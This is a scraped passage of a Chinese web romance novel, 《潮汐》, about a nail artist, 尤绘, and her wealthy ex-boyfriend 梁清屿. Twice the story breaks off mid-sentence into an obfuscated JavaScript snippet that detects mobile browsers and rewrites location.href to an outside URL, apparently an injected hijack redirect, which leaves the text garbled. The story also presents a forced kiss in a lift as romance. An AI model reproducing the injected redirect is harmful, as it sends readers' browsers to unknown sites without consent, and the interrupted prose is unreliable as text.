《潮汐》 2. 楔子02 说这话时,梁宗元眉眼微微上挑,递出去的目光莫名让人有些不适。 至于这句‘叫人’究竟是说给谁听的,没人知道。 然而这话都落在地上好几秒了,面前的男人依旧无动于衷。 也是这会儿,尤绘终于舍得直视他。 只是这一对视,原本脸上挂着的笑,这会儿竟全然消失。 怎么就连施舍一丁点儿都舍不得呢。 尤绘的情绪异常平静,主动圆场,礼貌地问候了声:“梁少爷,新年好。” 这份突如其来的客气让梁清屿感到诧异。兴许是没太回过神,他的神情越发薄凉起来。 他望着她,一言不发。 尤绘并没有因为他那般冰冷的目光,有丝毫退缩的意思,依旧保持从容温和的态度。 就好像是在看家宴上第一次见面的陌生客人。 一旁的梁宗元在这时轻咳了声,语气跟着严肃几分,再次道:“还不叫人?” 听到这话,梁清屿只觉得太过可笑,没顺着往下接,只是阴阳怪气的说了句:“您老还喜欢上了这些洋表演?” 他的声音倦懒,一脸的纨绔样,讽刺人的话语就这般轻巧的吐了出来,狠甩在梁宗元的脸上。 尤绘可太知道了,梁宗元最反感的就是被人说老,所以他在保养这方面下了功夫,但也挡不住自己的儿子就是喜欢说些气人的话。 梁宗元眉心蹙起:“不会说话就滚回去。” 滚字才刚出口,尤绘抢在梁清屿有所动作前,适宜地拦了一下。 她的脸上再次挂起笑,安抚着梁宗元的情绪:“大过年的您别气着了,梁少爷向来有个性,咱多多包容他。” 咱。多多。包容。 以什么身份说这种话? 梁清屿眼皮抽了下,额头处的青筋突突地,快爆出来。 大抵是尤绘的安抚起到了效果,梁宗元全然不计较他这个混账儿子的所作所为。 端起一副居高临下的姿态:“特意为你请来的,我以为你会喜欢,要不然游手好闲的你,怎么会想着创立娱乐公司?”话音落,他停顿了两秒才勾起唇角,露出意味深长地笑。 明明还有话要说,却点到为止,给人遐想的空间。 他只是悠悠看着面前的人,在这个过程中,他细微地察觉出,挽在胳膊上的手,似乎收紧了些。 也因为这番话,空气仿佛都有瞬间的凝滞。 不久,梁清屿轻嗤了声:“把你安插在我身边的人撤了吧,伪装监视的本事和工作能力都是一顶一的烂,你手底下的人都是这种垃圾吗?” 梁宗元并没有被这话唬到,倒也没给梁清屿好脸色,已经转眸看向尤绘,随意说了句:“你做事利索,也乖,把你派过去给他怎么样?” 尤绘几乎没有犹豫,很肯定的回答:“我想我很难胜任,但如果能让您舒心,我会努力去做的。” 要不说老子还是老子呢,他可太知道怎么对付梁清屿了。 毕竟谁都无法忍受,从未被坚定的选择过。 梁宗元唇角挂起浅浅的弧度,看到他这个儿子啊,气得一双眼都有些充血。 他只是在这时轻巧地继续施加压力,字字戳心:“清屿啊,有些事儿你得明白,能被抢过来的东西就不值得你留念。” ‘东西’二字一出口,一直以来憋在梁清屿胸口的火气直冲天灵盖。 愤怒和憎恨在心中蔓延,他的眼神凶狠,牙关紧咬,一字字挤出齿缝:“梁,宗,元。” 他的拳头紧紧攥着,关节泛白,好似下一秒就要挥出,用力地砸到梁宗元的脸上。 察觉到这一点的尤绘,几乎没有犹豫,在梁清屿挥拳前,义无反顾地挡在了梁宗元的前面。 顿时,现场所有人的目光都聚焦在他们的身上,整个宴会厅弥漫起紧张的气氛。 明明都屏着一口气,每个人脸上的肌肉都紧绷着,但又无比期待接下来的暴风雨时刻。 男助理慢一步冲上前,拦住了梁清屿,以免他做出一些过激的举动。 而此时,梁清屿看到了尤绘胸口剧烈地起伏,以及她那双淡漠疏离的眼睛。 她盯着他,声音又冷又硬:“你确定要在这种场合动粗被人看笑话吗?” 话音落,梁清屿止不住的冷笑出声。 尤绘继续:“梁董这次叫你回来过年也是一片好心,如果你实在无法控制你的情绪,只会用这种极端的行为解决问题,我劝你还是去医院看看心理医生。” 无可抑制的愤怒在血管里沸腾。 梁清屿甩开被男助理控制住的手臂,攥紧的拳头垂落到腿侧,短促的‘嘁’从齿缝挤出:“尤小姐真叫人意想不到啊。” 都被骂是个东西了还在这帮着人说话,她的脾气什么时候这么好了? 他还想说什么,只见尤绘已经瞥开视线,重新回到了梁宗元身旁。 梁宗元突然来了兴致,扭过头看向尤绘,笑问:“你当初是怎么看上这么幼稚的男孩的?” 尤绘没有回答,仅仅释然一笑,好似根本不把那段过去当回事。 至此,梁清屿嘴角扯出一个自嘲的弧度,转身往宴会厅外走去。 甚而在最后,推门离开时,他看尤绘的眼神里,都多了一抹恨意。 大伙儿似乎都没料到这场戏就这样宣告结束了,刚挑起的情绪因为主角的离场变得寡淡无味。但他们一个个的,都以最快的速度,回到了原本的状态,生怕梁宗元问责,毕竟看戏时的嘴脸属实有点太过。 之后又看了几个节目,梁宗元从西装口袋里掏出一张黑色的房卡,递到了尤绘的面前。 尤绘没接,只是抬起头看向梁宗元,听到他说:“有东西落在了房间,你去帮我取一下。” 闻言,尤绘犹豫了两秒,才伸出双手接过房卡:“好的梁董,请问是去取什么东西?” 梁宗元的视线早就挪开,重新落在了舞台上,他回得极为冷淡:“一枚胸针。” 尤绘这才注意到,梁宗元胸口处的确空落落的,没有佩戴胸针,便点头应了下。 披上男助理递来的绸缎大衣,尤绘离开宴会厅,很快乘坐电梯上到了顶层。刷卡进入套房后,在客厅茶几上拿到了这枚钻石龙首胸针。 将胸针塞入大衣口袋,她不紧不慢地走出套房,按了电梯下行键。 抱着胳膊等待电梯从三楼上来,期间一张熟悉的面孔反反复复出现在脑海中,想甩都甩不开。像是烙铁深深印在皮肉之上,这块伤疤永远都无法消除。 尤绘微垂下头,在心中长叹一口气。 随着电梯上到楼层,发出叮的一声响。 电梯门向两侧缓缓打开,都不给尤绘点反应的机会,她才刚抬起头,一只大手就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137656|180314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸了过来,一把拽住她的手腕,将人拉进了电梯里。 下一秒,尤绘就被粗暴地抵在了电梯轿壁上。 连反抗的机会都不给,她甚至都没看清楚面前这人,只是闻到了那股熟悉的,雪后松木的清冽气味。 紧接着脖子就被梁清屿掐住,他发狠咬在她的唇瓣上,吻得毫无章法,可以说这压根儿算不上是接吻,而是在无尽地索取,啃食,活吞。 他不允许她逃走,甚至连脏话都不准往外吐,舌尖直接抵进她紧闭的嘴唇里,精准找到她小小软软的舌,缠着,吮着。 尤绘受不了他这般折磨人,感受到他的另一只手已经扶在了细腰上。 尤绘狠咬了下他的舌头,睁着眼,看到他眉心稍稍拧了下,嘴上动作却没有半分停下的意思。 她觉得再这样下去,嘴唇都会被他这个混蛋咬破。到时候还怎么见人,他这人简直放肆惯了。 也是这时,绸缎大衣口袋里的手机,响起刺耳的来电铃声。 这个时候打来电话的人,都用不着猜就知道是谁。所以这通电话,她得接,要不然就露馅了。 但梁清屿还在掠夺吞噬,尤绘只能抬手,就要扇他,好几次都打偏,不是打在他肩膀,就是打在他手臂。 兴许是嫌尤绘太闹腾,梁清屿干脆将她的手扣住,结果被她侥幸抽走。 她用力将人往后推,余光瞟到显示屏里,电梯楼层数已经来到十三,可这个混蛋还要继续这个过于越界的行为。 尤绘不能跟他搅和到一起,他们已经分手了! 此时刺耳的来电铃声还环绕在电梯轿厢里,尤绘的手刚摸到口袋边缘,梁清屿就抢先一步,夺走了她的手机,掐断了这通来自梁宗元的电话。 看到电话被挂断,来到锁屏界面,尤绘也无所谓他这个行为,相较于粗暴的强吻前女友,掐断一通电话罢了,算不上什么。 她只是趁机提醒了一句:“已经下到八楼了。” 所以? 梁清屿的脸上没有丝毫胆怯,反而在听到尤绘的这句提醒后,勾唇笑了下。 左手再次来到她的脸颊,掐住她的下巴,强迫她与自己对视:“尤绘,都这么久过去了,你还是这副怂样。” 闻言,尤绘的目光更冷几分,犹如寒冬中的冰霜。 她不知道他是不是在阴阳刚刚宴会厅发生的事,只知道自己逃不出去,整个人被他圈在怀里,但他们不该如此,这已经越界,哪怕刚刚接过吻,但她依旧觉得,他们需要保持一定的安全距离,一双手始终抵在两人之间。 “梁先生,请你说话放尊重点,今晚我是你父亲的女伴。” 感受到胸膛上的这双手,正使劲将人往后推。梁清屿微垂眼,看着尤绘白玉般晶莹剔透的手,没盯两秒他的视线又缓缓上移,最终落在她的嘴唇上。 口红沿着唇线向外晕开,下嘴唇似乎还被咬伤了。 咬伤了还能说出这些膈应人的难听话,真是小看她了。 原本把在细腰上的手,这会儿改为了狠狠捏,他有些气:“那老东西给你什么好处了?” 尤绘没回,表情很难看,视线再度落到电梯的显示屏上。 梁清屿不介意被无视,掐住她的下巴,掰正,让她看着自己。 再微微歪头,轻挑了下眉,笑容里带着几分玩味:“所以,我现在该叫你什么呢?” 3. 有品 那年申城出现极端高温天气,连续三天最高气温接近40度。 闷热感令人窒息,六月又恰好属于梅雨季节,空气中弥漫着沉闷的水汽,潮湿和炎热的气息笼罩着整个城市。 昨夜下过大雨,弄堂里的排水系统极为糟糕,臭味从下水道反流。 环境恶劣的出租屋内,尤绘刚和刘许珍结束一轮争吵,正收拾着等会儿出门要带的东西。 不知是怎么了,原本情绪有所缓和的刘许珍,在进到卫生间后,再次吐起了脏话。 尤绘没理会,收拾完包包转身去到厨房,将热好的中药端出来,放到了餐厅的桌上。 做完这些,她返回客厅,拎起沙发上的托特包就准备出门。 刘许珍听见动静,嫌弃的看一眼卫生间地面上浑浊不堪的臭水,想到前不久那个死丫头说的话,心中积攒的怨气彻底爆发。 她将扫帚撇到一旁,转身冲到巴掌大小的客厅,抄起茶几上的花瓶,高举过头顶,再狠狠往地上砸。 “啪!!咔嚓!!” 一声巨响,玻璃破裂,碎片散落一地,花瓶中的百合被折断。 她破口大骂:“你有种把刚刚说的话再说一遍!我去你丫的!你给我钱花天经地义,我吩咐你做事是看得起你,你别给脸不要脸,你要不乐意就赶紧把我送回去,你休想再囚/禁我!” 唾沫星子喷了一地,地上躺着的百合遭了殃。 辱骂声刺耳,尤绘下意识往后退一步,以免被恶心到。 她垂眸看一眼地上的碎渣,再缓慢抬眼,习以为常了般盯着面前一头白发的苍老女人:“我囚/禁你?你身体什么情况,自己心里没数?” 刘许珍恶狠狠瞪着面前的人,明明长得一副温顺样,说出来的话却这般冰冷。小小年纪不学好,活脱脱一狐狸精,跟她那跑了的妈一个样! 刘许珍越想越气,止不住地翻了个白眼,切一大声,喘着粗气继续对尤绘指手画脚:“要不是你!我能得病?我的身体变成现在这个鬼样子都是拜你所赐!你快别装模作样了,这个家可没别人,快收起你假惺惺的嘴脸吧!” 尤绘明显懒得搭理她,不跟她废话,已经朝着玄关处走去。 刘许珍哪受得了被无视,气得直接跳起来,快步上前一把拽住了尤绘的手臂,用力把人往房间里拖。 边拖,她嘴里不断冒出些污秽不堪的词。 骂来骂去就这么几句话,她也不嫌累。 尤绘比刘许珍高了足足一个脑袋,但在力量方面,野蛮的刘许珍明显占了上风。尤绘的胳膊被抓住红痕,拖拽了几步后,她往回扯了下手臂,垂眸看着刘许珍。 那眼神中的阴寒让人后背直发凉。 刘许珍来不及松手,尤绘找准时机,手臂一扬,狠狠甩开了她的抓握,重新将包挂到肩膀上。 刘许珍被甩得退后好几步,见尤绘已经头也不回地往门的方向走,她气不过就要上前扯尤绘的头发。 刚追了没两步,尤绘突然停住步子,刘许珍着实被吓了一跳,险些撞上她的背。 就要破口大骂时,尤绘转过身,情绪很淡:“上个礼拜打牌输的五千,我昨晚帮你还上了。” 兴许是没料到这事会这么快暴露,刘许珍一张脸瞬间铁青,好半天没吭声。 见状,尤绘也不废话,再次转身,拉门把手时撂了句:“你如果还想要钱,桌上的药赶紧喝了。我上班的时候你也别总打电话,自己待家里消停点。” 人户门撞上前,刘许珍恶毒的话还是从缝隙里挤了出来:“扫把星!谁喝你买来的毒药,我就算痛死也不喝!你个没人要的东西!” 老破小的隔音效果极差,就算已经关上门,整栋楼里依旧充斥着骂骂咧咧声。 尤绘踩着不算太结实的木质楼梯快步下楼,等走到楼底下,快拐出弄堂了,刘许珍的声音才彻底消失。 - 已是夏至,午后的阳光越发炽热,刺眼无比。 太阳烘烤着地面,空气中弥漫着柏油路被晒化的刺鼻气味。 尤绘从托特包里拿出遮阳伞,撑伞的间隙,手机上弹出一条微信消息,她没理会,几乎踩着点赶到了大学城附近一家名为一枝独秀的美甲店。 此时是下午三点整,店里人满为患。一批又一批的顾客前来光临,十几个美甲师忙得不可开交,就连喝口水的时间都挪不出来。 尤绘才刚到店,工作服都没来得及换上,穿着职业套装的女店长直接将人拦住:“小羽,店里来了个富婆姐姐,安排给你怎么样?咱这就你技术最好,挑不出毛病,服务她,她肯定特别满意。”说着这话,店长给了个眼神。 尤绘很快领悟到,顺着视线看过去。 那儿站着个人,是个男的,他姿态散漫地单手抄兜,背对着工作区域,好像在讲电话。 尤绘看不清他的模样,第一印象就是这人个子特高,至少有一八五。肩膀宽阔,手臂的肌肉线条很漂亮,净白的皮肤下隐约藏着脉络分明的青色纹路。 其次就是穿衣风格,很有品,衣服不是烂大街的潮男款,大概率是国外的小众品牌,或是大牌的私人定制款。 只是这让尤绘有些摸不清头脑,收回视线时眉心不自觉拧了下:“不是富婆姐姐吗?” 店长这才反应过来,是自己表示不到位,连忙解释道:“他是富婆姐姐的陪同者,不知道俩人什么关系呢。” 尤绘对顾客的隐私不感兴趣,已经踱步到休息间,拿放在沙发扶手上的帆布工作围裙往身上穿。 见她也不说话,店长心里没底,试探性地询问:“你愿意接吗?” 尤绘倒没什么所谓,反手系着绑带,回话极为随意:“行。” 听她这么说,店长悬着的心终于落下,笑眯眯地转头又去迎接新一波的顾客。 一旁刚忙活完的同事,瞧见店长已经离开这边,她麻溜凑上前:“看群看群。” 尤绘边顺起披散在肩头的乌黑长发,用圈在手腕上的皮筋,扎起一个慵懒的低丸子,冷淡问了句:“又是谁的八卦?” 被戳破,同事没好意思说,只哎呀一声:“你快看嘛。” 尤绘对八卦没兴趣,整个美甲店也只有她从来不参与这些,但耐不住有几个同事稀奇古怪的癖好,就乐意看她的反应。 尤绘没应这话,扎完头发就准备去工作了。 同事连忙拉住她,一个劲地念:“看看呗,看看呗。” 手臂被同事拽住,尤绘垂眸盯着,依旧没吭声。 见此情景,同事突然意识到什么,略微有些尴尬的快速收回手,但也没放过尤绘:“这回真的很有趣。” 没辙,尤绘敷衍着从兜里掏出手机,边朝着工位走,边点进微信。 映入眼帘的是聊天栏界面,一枝独秀美甲店闲聊群的消息已经刷了三十多条。 看到聊天框后边的红色数字还在不断的增加,尤绘都愣了几秒,抬眸扫视了店里一圈。 很难想象表面上搓条都要搓冒烟的各位,居然还能抽出时间聊八卦。 尤绘随意滑动屏幕,刚点进群聊,一张偷拍照没两秒就被一堆涩气冲天的表情包顶了上去,她甚至都没看清楚那张偷拍照拍了个什么东西。 往上翻了两页,还没来得及点开照片,站在落地窗边的男人突然转过身,眼神悠悠地停在尤绘身上,轻抬下巴示意不远处:“得等会儿,她去卫生间了。” 男人的声音带着一点吊儿郎当的散漫,声线低沉有磁性。 说这话时,他耳边还贴着手机,电话没有挂断,他的视线也并没有过多停留,已经重新看回窗外,跟电话那头的人说:“你要去找别人,实在不行你问问少爷,他不也要放暑假了吗。” 尤绘轻轻扫了他一眼,眼神里没有半点多余的情绪,收回视线的速度极快,已经绕到工位坐下。 她将手机摊在桌面,从身后的消毒柜里拿出卸甲工具。 隔壁的同事边搓着指甲,瞟一眼站在窗边的男人,又用余光去看桌面上的手机,发现界面停在闲聊群里,那张偷拍照底下跟着一堆表情包。 见尤绘看都不带看一眼的,似乎并不打算参与到这场酣畅淋漓的聊天中来,正在为等会儿的工作做准备。 她实在无法理解尤绘,怎么对任何事物都提不起兴致呢。 要换做之前那些追求者,没兴趣就没兴趣吧,可面前这位一点都不普通好吗。 不过说到底,性情冷淡有性情冷淡的好处。她长得那么乖,一双眼睛清纯灵动,像蓝宝石一样,只是她的神情中却透了几分淡漠,让人不禁生出距离感。 脸蛋精致到像是洋娃娃,本来看着就好欺负,容易被骗,如果跟谁都自来熟,谁说的话都往心里去,怕不是被骗次数更高。 但想来想去她还是用腿抵了下尤绘的腿。 再挤眉弄眼好一顿,尤绘终于悟明白她的意思,无奈叹了口气。 趁着顾客还没过来,尤绘拿起手机,点开了这张偷拍照。 照片中的主角正是此时站在落地窗边的那位。 不同于先前在休息间门口看到的,偷拍者处在落地窗左侧的位置,正正好拍到了他的侧脸。照片放大一些,可以清晰的看到男人性感的喉结。他的侧脸轮廓俊冷,下颚线流畅利落。 不知道电话那头的人讲了什么,快门键按下时,照片中的画面定格在男人挑起的眉,以及极其吊儿郎当的笑上。 很痞,有点坏,大概率不是什么好人。 这是尤绘对这人的第二印象。 不过她没在这张偷拍照上过度停留,已经开始往下翻同事们的聊天内容。 一连串的涩气表情包输出过后,终于有人冷静下来。 玫瑰:[你公然偷拍,不怕被客人投诉啊。] 小翠:[上班期间开小差,顾客姐姐对你没意见?] 里里:[不好意思各位,照片是顾客姐姐发我的~再者,这帅哥应该不会把注意力放在我们身上,所以大概率收不到投诉。] 玫瑰:[我有点好奇,这帅哥和那位富婆姐姐是什么关系啊?] 里里:[说不好啊。不过我算是发现了,帅哥好像都挺喜欢姐姐款的,我身边好多高质男大都被姐姐收入囊中了。] 娇娇:[这还要不要人活啊,帅的都被别人谈了,剩下的男的都是些什么货色啊。] …… 完全滑不到底。 尤绘对这些事情真的不感兴趣,隔壁工位的同事娇娇就不一样了,这会儿正一脸期待着什么。 尤绘没打算继续这个无聊的话题,当即朝她泼了一瓢冷水,直白指出:“你这十字架都画歪了,赶紧重画吧,别耽误客人时间。” 话音刚落,走廊尽头不隔音的卫生间里,响起一阵马桶冲水的声响。 紧接着,一位烫着大波浪,穿包臀裙的美女,踩着高跟鞋走了过来。 她拿着纸巾边擦手,从过来到坐下,全程都不带看落地窗边那人的。 擦完手上的水渍,她从兜里掏出手机,解锁后将图片找出来,手机推过去:“这款能做吗?” 娇娇好奇心重,手上动作没停,半个身子已经凑过去,看递过来的这只手机上的美甲款式了。 看到款式图后,娇娇嘶了一长声。 大波浪美女心直接凉了半截,看向娇娇:“很难?” 娇娇用力点头:“难。” 难字才刚出口,尤绘已经拉过大波浪美女的手:“能做。” 大波浪美女心里多多少少有点担心,多问了一嘴:“还原度高吗?” 尤绘拿出打磨头,将机器拧到合适的温度:“百分之九十。” 听到这话,大波浪美女算是放心了,舒舒服服开始刷剧。 尤绘的动作特别利索,卸甲这步做得快且细致,前置处理得相当漂亮。做建构塑形时,照灯的时长把控得恰到好处。及时关闭一字灯进行散热,减少了不少疼痛感。 不过说到底美甲算是细致活儿,加上款式有点复杂,哪怕技术再好,需要花费的时间也不会太少。 隔壁的娇娇都完事休息了,尤绘这边才刚完成一个指甲盖上的手绘图。 至于窗边那人,没太关注,他似乎在讲完电话后就近找了个位置坐下刷手机,跟大波浪美女没有任何的交流,不知道的还以为他俩不认识。 直到楼梯口传出动静,说话那男的嗓门特大,边上楼边发语音:“哥,你搁哪呢,我到店里了啊。” 一时间,美甲店里大半的人不约而同地看了过去,唯独尤绘没有丝毫反应,正专注于手头上的工作,听到店长热情地问:“帅哥您找哪位呀?” 大嗓门男生还没来得及回话,就招着手往窗边的方向走:“哎哎!哥!哥!我来了!” 闻声,男人缓缓掀起眼皮,眼中闪过一丝不悦,皱眉警告:“小点声。” 大嗓门男生连忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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主要是他说话声实在太大,吵得人脑仁疼,也属实有些影响到店里做美甲的顾客了,投影仪的声音都被盖了个七七八八。 不少人有点小不满,但听到黄毛说的那些话,总觉得他不是啥好人,不敢提意见,怕得罪了人家,只能皱眉忍着。 尤绘听到其中一位顾客扯着嗓子叫店长把投影仪声音调大一点。 她突然停住手,短暂瞥过去一眼,正正好和黄毛对上视线。 尤绘说话直,语调平缓,眼神里没半点温度:“楼下有家奶茶店,在那聊或许更畅快。” 话音落,对面的大波浪美女似乎有些意外,往黄毛瞅了一眼,见人压根儿没听懂这话里的深层含义,还怪乐呵的搭起了话。 他笑得腼腆:“这样啊,那有没有什么推荐的饮品呀,我等会儿去试试。” 也是这句话,一旁悠闲把玩着手机的梁清屿,不着痕迹地扫过去一眼。 尤绘早低下头继续工作,就连黄毛的话都没回。 而对面的大波浪美女很明显在用力憋着笑。 被无视的黄毛还有些懵,梁清屿低低开口:“你没别的事了?” 黄毛这才反应过来,自己居然直接把人撂到了一旁。 他赶忙回话:“没了没了。” 梁清屿冷眼睨着他:“再有事微信里讲。” 黄毛似乎有些为难:“我也想微信交流啊,主要是你……二十四小时都开免打扰,也没人能联系得上你。” 梁清屿没说话,甩过去一眼。 黄毛不吭声了,刚好这时有通电话打进来,他接起电话招呼了声就离开了。 人一走,偌大的美甲店瞬间安静下来。 - 随着第四个第五个极为复杂的手绘图完成,天空渐渐暗淡下来。 尤绘给画了手绘的几个指头涂上封层,余光瞟了眼站在窗台边的梁清屿。 他似乎有些待不住了,抬手揉了几下太阳穴,微垂着眼,从兜里摸出烟盒,朝着窗边立着的室内烟灰桶走去。 这边有一小扇窗户是开着的,专门用来散味儿的。 他逆着光站,烟盒里抖出一支烟咬在嘴边,再不急不慢掏出打火机,微微偏头点燃了烟。前端冒出火星子,他吸了一口,缓缓吐出烟圈,青白烟雾模糊了他的侧脸。 瞬时,店里的小姑娘们又再次将目光挪到了他的身上。 他半靠着窗,指间夹着根烟,整个人感觉很疲倦。 也是这时,大波浪美女终于转头看了过去,喊了声:“你要不先回去吧,昨晚都没怎么睡。” 此话一出,原本还在悄咪咪看帅哥的这群八卦王们,瞳孔止不住的放大,与身旁人进行了一番眼神交流。 梁清屿有所察觉,没在意,同样也并没有应这句话,只将烟蒂捻灭,丢进烟灰桶,随后走过来。 盯了几秒才开口问:“这还要多久?” 尤绘没看他:“一小时。” - 店里的时钟在八点整敲响。 照完最后一遍灯,尤绘仔细检查了一遍每一个指甲,随后带着大波浪美女来到拍照区域,简单拍了一组客照。 这期间梁清屿已经起身,他依旧那副没睡醒的样,单手抄兜,脚步缓,步幅不大。 大波浪美女完全没注意他,拍完照前往前台时,还在一个劲的欣赏着美甲,左看右看,嘴角都快列到太阳穴了:“怪不得店长跟我推荐你,跟千元美甲一个水平。” 像是被夸习惯了,尤绘只轻轻牵了下唇角,将写好的单子递给店长算钱,然后照例告知注意事项:“甲片有点长,日常生活中小心磕着碰着,如果钻掉了随时过来补。” 大波浪美女听得认真,等账单推到面前来了,她才终于想起来某人,原本还笑眯眯的,这会儿转头,语气就来了个一百八十度大转变,冷漠中带了些许理所当然,对着他:“付钱。” 梁清屿早掏出手机,付款码往尤绘面前一递。 尤绘拿起桌上的收款机,轻靠了下他的手机。 随着嘀的一声响,店长从前台后边站起身,热情的送大波浪美女离开。 梁清屿就跟在她们后边,临走前不经意瞟了眼尤绘,也就这么一眼,两人猝不及防撞上了视线,不过一秒又双双偏开。 4. 坏男人 店长送完客人回来的时候,尤绘正在解工作围裙的绑带。 见状,店长两步并作一步来到前台,从抽屉里找出册子,扫了一遍预约名单,将人叫住:“小羽,你还能不能再接一个客人啊?” 尤绘的手上动作没停,看一眼店里墙上挂着的时钟,回:“接不了了,那边得去上班,我明天早点过来。” 店长点头表示理解,招手叫另外的美甲师过来:“行,那你快去吧,还是别累着自己了。” 与此同时的另一边。 都已经坐上车了,某人还在一个劲的欣赏着自己的新美甲,眼眸里的笑意快溢出来:“我的手终于是活过来了,之前花几千块做的都是些什么玩意儿啊。” 说着这话,她已经掏出手机一顿狂拍,边拍边说:“而且啊,给我做美甲的小妹妹实在太漂亮了,我总担心一直盯着她看,她会不好意思,只能偷瞄。” 噼里啪啦一顿输出,驾驶位的男人没吭声,像是开了屏蔽器。 这下女人不乐意了啊,皱着眉,质问他:“难道你不觉得她长得很漂亮吗?很软很好rua的那种,不过我属实没想到她说话还挺直的。” 此时梁清屿正低头回着微信消息,很随意的一句:“没注意。” 大抵是他说这话的语气过于冷淡,女人眯起眼,眼神里带着满满的杀气,手指比2,先指着自己的眼睛,再戳向他:“没注意你个大头鬼哦,我都看到了,你休想骗过我的眼睛。” 消息发送出去,手机锁屏,梁清屿抬眸看向女人,神情中是藏不住的无语,他不禁笑出声:“你看到什么了?” 女人抱着胳膊,冷哼道:“刚刚走的时候,你是不是回过头看了她一眼。” 实话说,他真的完全没印象了:“有吗?我怎么不知道。” 女人一听,装吧,就装吧。 她翻了个白眼:“我懒得跟你说了。” 梁清屿没顺着这个话题往下接,只提了嘴:“你这么喜欢她,怎么不办张卡?” 原本还在美美欣赏美甲的女人哎呀了一大声:“我怎么把这么重要的事情给忘了啊,这就跟店长说去。”正低头敲着键盘,她突然想到什么,手指悬在半空中,转眸:“你出钱?” 似乎料到会如此,梁清屿倒没什么所谓,不过还是呛了女人一句:“你很缺钱吗?”说这话时,他满脸的不屑。 “不缺就不能找你要了?谁规定的?”女人瞪着眼睛。 梁清屿懒得听她废话了,直接掏手机出来,支付宝转了一万块堵住对方的嘴。 这招特好使,女人喜滋滋的继续跟店长发微信,说办卡的事。 同一时间美甲店的前台里,店长刚将会员充值活动图发过去,手机就收到了一笔转账。 看到这一串数字,她直接傻眼了,一个数一个数的数,这个数字1后面跟了,个十百千万,四个零。 !!!!! 店长赶紧转去聊天框里打字,这会儿她的手都有点抖。 不是没见过钱,主要是店开在学校附近,充卡的占少少数,就算充也都是五百五百的充,这还是头一次有顾客一口气充一万块! 她都不知道说些什么好了:[宝贝你怎么转了这么多钱啊哈哈,这可以打好多好多折了。] 大波浪美女:[用不着打折,以后都要刚刚那小美女给我做就行。] 这条消息弹出的同时,尤绘收拾完东西,推开了休息间的门。 她头上戴着顶咖色做旧风棒球帽,上身穿的是一件简单的白色刺绣V领T恤,下边是灰色高腰休闲短裤,搭配白色长袜,脚上踩着一双银色芭蕾风德训鞋。 左肩上挂着个黑色的托特包,边往休息间外走,她将有线耳机塞入耳朵里。 下一秒,店长激动地冲到她跟前,一把抓住她的手臂,眼睛放光:“刚刚那位富婆客人充了一万块钱办卡,说不要折扣,只点名以后她的美甲都由你来做。” 旁边已经困到不行的娇娇,在听到店长这句话后,瞬间没了瞌睡,凑上来:“哇靠!那不是有好多好多提成啊,小羽你要发了啊!赶紧把那些乱七八糟的工作辞了吧,累死累活的赚不了几个钱,还容易被坏男人盯上。” 话闸子一开就跟水龙头似的,堵都堵不住。 尤绘左耳朵进右耳朵出,却唯独在最后一句话上停留了片刻。 脑海中浮现出刚刚那人的脸,下意识将他与坏男人中间画上了等号。 - 从一枝独秀美甲店里出来,尤绘在路边上扫了辆共享单车。 听到单车解锁的咔嗒声响,她将肩上的托特包取下,手机丢进包里,包往车筐里一放,把车从车堆里推出来。 这个点夜生活才开始,正是车多人多的时候,尤绘刚跨上单车踩了一小段路,就被一群闹哄哄,还喝了些酒的学生挤到了非机动车道最边上,几乎靠着路侧石骑行。 后边还有好几辆电动车,她没法完全停下来,只能稍微降速继续跟在这群即将毕业的大学生后头,听他们畅享未来,感叹时间过得真够快的。 尤绘没念过大学,刚成年没多久她就从三线小城市搬来了申城,在这边找班上,这么算算也上了快两年的班,兜里却没有一分钱的存款。日子过得拮据不说,家里还有个闹腾人的。 想到这,托特包里闪起微弱的亮光,没一会儿手机铃声便从里头传了出来。 尤绘没理会,继续踩着单车往上晚班的地方赶。 美甲店距离等会儿上班的地儿,骑单车也就二十来分钟的路程。 在这二十分钟里,手机总共响了四回,兴许是那人打得不耐烦了,第四回拨过来不到三十秒就挂断了。 见状,尤绘也只是随意瞟了眼,踩着单车来到酒吧一条街。 此时街道两旁停靠的车辆还不算特别多,每家酒吧门口杵着聊天的人也不多。 尤绘将单车停在了一家名为鰫的清吧门口。 余光瞟到这一列共享单车中,有几辆被一喝醉酒的男人给撞倒了,同行人正在一辆一辆的帮忙扶起,嘴里骂着:“我擦,你不能喝就别喝这么多啊,刚第一轮呢,就成这样了,丢不丢人啊。” 同行的另一人,体型明显比醉酒的男人要瘦弱许多,用尽全力搀扶着男人,也止不住的开始抱怨:“叫你出来喝酒是我今年做过最错误的决定,你说你,一不是失恋,二不是失业,你喝就喝吧,边喝边哭是个什么意思。” …… 骂骂咧咧仍在继续,尤绘已经收回视线下了车。她将脚撑打下来,从托特包里掏出手机,点完还车,就看到那四通未接来电都来自同一个人。 尤绘并没有回拨过去,将托特包挂到肩上,边朝着清吧走去,在微信里给对面发了句:[别闹了,吃完药赶紧睡。] 消息发送过去,手机揣进兜里,尤绘推开了清吧的门,冷气瞬间蔓延至全身。 霓虹灯光下,舞台上抱着吉他的男歌手,正在唱着一首调调极为暧昧的抒情歌,现场氛围极佳,就是闹了点,空气中弥漫着的烟酒味也有点呛鼻。 这让尤绘不自觉蹙起了眉。 下一秒就有端着托盘的同事跟她打招呼:“来啦小羽。” 紧接着,角落里躲着偷懒的男同事麻溜凑上了前,忍不住的抱怨起来:“我靠你终于来了,我都快累死了,这店里一半的大学毕业生,一半高考完解放了的小屁孩,都太能闹了。” 尤绘是知道的,她的这位男同事一张嘴特能叭,就算没人搭理他,他也能一个人讲一个小时。 